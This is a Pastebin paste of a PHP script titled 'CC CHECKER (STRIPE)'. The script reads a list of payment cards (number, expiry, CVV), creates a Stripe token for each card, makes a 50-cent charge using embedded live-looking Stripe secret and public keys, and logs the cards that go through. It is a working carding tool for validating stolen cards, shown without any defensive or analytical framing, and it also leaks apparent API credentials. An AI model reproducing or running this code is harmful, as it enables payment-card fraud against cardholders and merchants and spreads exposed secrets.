bug7sec

CC CHECKER (STRIPE)

Feb 4th, 2017
1,372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.04 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @Author: shor7cut
  4.  * @Date:   2017-02-04 23:53:25
  5.  * @Last Modified by:   shor7cut
  6.  * @Last Modified time: 2017-02-05 01:04:14
  7.  */
  8. error_reporting(0);
  9. class shcCardChecker
  10. {
  11.     public function config(){
  12.         return array(
  13.             'private_key' => 'sk_live_Jx18bSs19PjP5SDMuvAYYiG0',
  14.             'public_key'  => 'pk_live_5RBQRzJuM6aGrv8NCBpUYMfQ',
  15.         );
  16.     }
  17.     public function sdata($url , $custom , $delCookies = false){
  18.         $ch = curl_init();
  19.         curl_setopt($ch, CURLOPT_URL, $url);
  20.         curl_setopt($ch, CURLOPT_HEADER, false);
  21.         if($custom[uagent]){
  22.             curl_setopt($ch, CURLOPT_USERAGENT, $custom[uagent]);
  23.         }else{
  24.             curl_setopt($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");
  25.         }
  26.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  27.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  28.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  29.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  30.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
  31.         if($custom[rto]){
  32.             curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  33.         }else{
  34.             curl_setopt($ch, CURLOPT_TIMEOUT, 60);
  35.         }
  36.         if($custom[header]){
  37.             curl_setopt($ch, CURLOPT_HTTPHEADER, $custom[header]);
  38.         }
  39.         curl_setopt($ch, CURLOPT_COOKIEJAR,  getcwd().'/cookies.txt');
  40.         curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies.txt');
  41.         curl_setopt($ch, CURLOPT_VERBOSE, false);
  42.         if($custom[post]){
  43.             if(is_array($custom[post])){
  44.                 $query = http_build_query($custom[post]);
  45.             }else{
  46.                 $query = $custom[post];
  47.             }
  48.             curl_setopt($ch, CURLOPT_POST, true);
  49.             curl_setopt($ch, CURLOPT_POSTFIELDS, $query);
  50.         }
  51.         $data           = curl_exec($ch);
  52.         $httpcode       = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  53.         curl_close($ch);
  54.  
  55.         return array(
  56.             'data'      => $data,
  57.             'decode'    => json_decode($data , true),
  58.             'httpcode'  => $httpcode
  59.         );
  60.     }
  61.     public function token($ccnum,$ccmonth,$ccyear,$cccvc){
  62.         $options = array(
  63.             'header' =>  array(
  64.                 "authorization: Bearer ".$this->config()[public_key], // public key
  65.                 "content-type: application/x-www-form-urlencoded",
  66.             ),
  67.             'post'   => "card%5Bnumber%5D=".$ccnum."&card%5Bexp_month%5D=".$ccmonth."&card%5Bexp_year%5D=".$ccyear."&card%5Bcvc%5D=".$cccvc,
  68.         );
  69.         $respons = $this->sdata("https://api.stripe.com/v1/tokens",$options,false);
  70.         if($respons[decode][id]){
  71.             return array(
  72.                 'error'     => false,
  73.                 'token'     => $respons[decode][id],
  74.                 'id_card'   => $respons[decode][card][id],
  75.                 'brand'     => $respons[decode][card][brand],
  76.                 'cvc_check' => $respons[decode][card][cvc_check],
  77.                 'funding'   => $respons[decode][card][funding],
  78.                 'client_ip' => $respons[decode][client_ip],
  79.                 'created'   => $respons[decode][created],
  80.                 'used'      => $respons[decode][used],
  81.             );
  82.         }else{
  83.             return array('error' => true);
  84.         }
  85.     }
  86.     public function charges($token){
  87.         $options = array(
  88.             'header' =>  array(
  89.                 "authorization: Bearer ".$this->config()[private_key], // private key
  90.                 "content-type: application/x-www-form-urlencoded",
  91.             ),
  92.             'post'   => "amount=50&currency=usd&source=".$token."&description=Charge%20for%20shc%20checker",
  93.         );
  94.         $respons = $this->sdata("https://api.stripe.com/v1/charges",$options,false);
  95.         if($respons[decode][error][message]){
  96.             return array(
  97.                 'error'     => true,
  98.                 'message'   => $respons[decode][error][message]
  99.             );
  100.         }else{
  101.             if($respons[decode][outcome][seller_message] === ""){
  102.                 return array(
  103.                     'error'     => false,
  104.                     'message'   => $respons[decode][outcome][seller_message]
  105.                 );
  106.             }else{
  107.                 return array(
  108.                     'error'     => false,
  109.                     'message'   => $respons[decode][status]
  110.                 );
  111.             }
  112.         }
  113.     }
  114.     public function readline($pesan){
  115.         echo "[CC Checker] ".$pesan;
  116.         $answer =  rtrim( fgets( STDIN ));
  117.         return $answer;
  118.     }
  119.     public function run(){
  120. printf("                                                                                                      
  121. _____ _____ _____ _           _          
  122. |   __|  |  |     | |_ ___ ___| |_ ___ ___  SHOR7CUT
  123. |__   |     |   --|   | -_|  _| '_| -_|  _|
  124. |_____|__|__|_____|_|_|___|___|_,_|___|_|    
  125.  
  126. :: Format : NUM|MM|YY|CVV
  127. ");
  128.         $file   = $this->readline("File List CC : ");
  129.         $files = file_get_contents($file);
  130.         $files = explode("\r\n", $files); // windows (\r\n) linux (\n)
  131.         foreach ($files as $number => $ccdata) {
  132.             $ccdata = trim($ccdata);
  133.             list($cccard, $ccmm, $ccyy, $cccvv) = explode("|", $ccdata);
  134.             echo "[CC CHECKER|".$number."/".count($files)."] CC Data ::: $cccard $ccmm/$ccyy $cccvv ";
  135.             $token   = $this->token($cccard,$ccmm,$ccyy,$cccvv);
  136.             $charges = $this->charges($token[token]);
  137.             if($token[error]){
  138.                 echo "(no result)\r\n";
  139.             }else{
  140.                 if($charges['error'] === false){
  141.                     $f = fopen("shcchecker-ccchecker.txt", "a+");
  142.                     fwrite($f, $cccard."|".$ccmm."|".$ccyy."|".$cccvv."\r\n");
  143.                     fclose($f);
  144.                 }
  145.                 echo "(".$charges[message].")\r\n";
  146.             }
  147.         }
  148.     }
  149. }
  150. $shcCardChecker = new shcCardChecker;
  151. $shcCardChecker->run();
Add Comment
Please, Sign In to add comment